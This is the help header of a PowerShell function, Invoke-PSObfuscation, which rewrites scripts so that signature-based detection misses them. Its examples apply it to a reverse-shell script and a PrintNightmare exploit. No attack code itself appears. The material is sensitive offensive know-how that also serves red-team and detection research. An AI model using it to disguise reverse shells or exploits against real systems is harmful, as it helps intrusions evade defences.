<#
    .SYNOPSIS
        Transforms PowerShell scripts into something obscure, unclear, or unintelligible.
    
    .DESCRIPTION
        Where most obfuscation tools tend to add layers to encapsulate standing code, such as base64 or compression, 
        they tend to leave the intended payload intact, which essentially introduces chokepoints. Invoke-PSObfuscation 
        focuses on replacing the existing components of your code, or layer 0, with alternative values. 
    
    .PARAMETER Path
        A user provided PowerShell payload via a flat file.
    
    .PARAMETER All
        The all switch is used to engage every supported component to obfuscate a given payload. This action is very intrusive
        and could result in your payload being broken. There should be no issues when using this with the vanilla reverse
        shell. However, it's recommended to target specific components with more advanced payloads. Keep in mind that some of 
        the generators introduced in this script may even confuse your ISE so be sure to test properly.
        
    .PARAMETER Aliases
        The aliases switch is used to instruct the function to obfuscate aliases.

    .PARAMETER Cmdlets
        The cmdlets switch is used to instruct the function to obfuscate cmdlets.

    .PARAMETER Comments
        The comments switch is used to instruct the function to remove all comments.

    .PARAMETER Integers
        The integers switch is used to instruct the function to obfuscate integers.

    .PARAMETER Methods
        The methods switch is used to instruct the function to obfuscate method invocations.

    .PARAMETER NamespaceClasses
        The namespaceclasses switch is used to instruct the function to obfuscate namespace classes.
    
    .PARAMETER Pipes
        The pipes switch is used to instruct the function to obfuscate pipes.

    .PARAMETER PipelineVariables
        The pipeline variables switch is used to instruct the function to obfuscate pipeline variables.

    .PARAMETER ShowChanges
        The ShowChanges switch is used to instruct the script to display the raw and obfuscated values on the screen.

    .PARAMETER Strings
        The strings switch is used to instruct the function to obfuscate prompt strings.
  
    .PARAMETER Variables
        The variables switch is used to instruct the function to obfuscate variables.

    .EXAMPLE
        PS C:\> Invoke-PSObfuscation -Path .\revshell.ps1 -All
    
    .EXAMPLE
        PS C:\> Invoke-PSObfuscation -Path .\CVE-2021-34527.ps1 -Cmdlets -Comments -NamespaceClasses -Variables -OutFile o-printernightmare.ps1
    
    .OUTPUTS
        System.String, System.String
    
    .NOTES
        Additional information about the function.
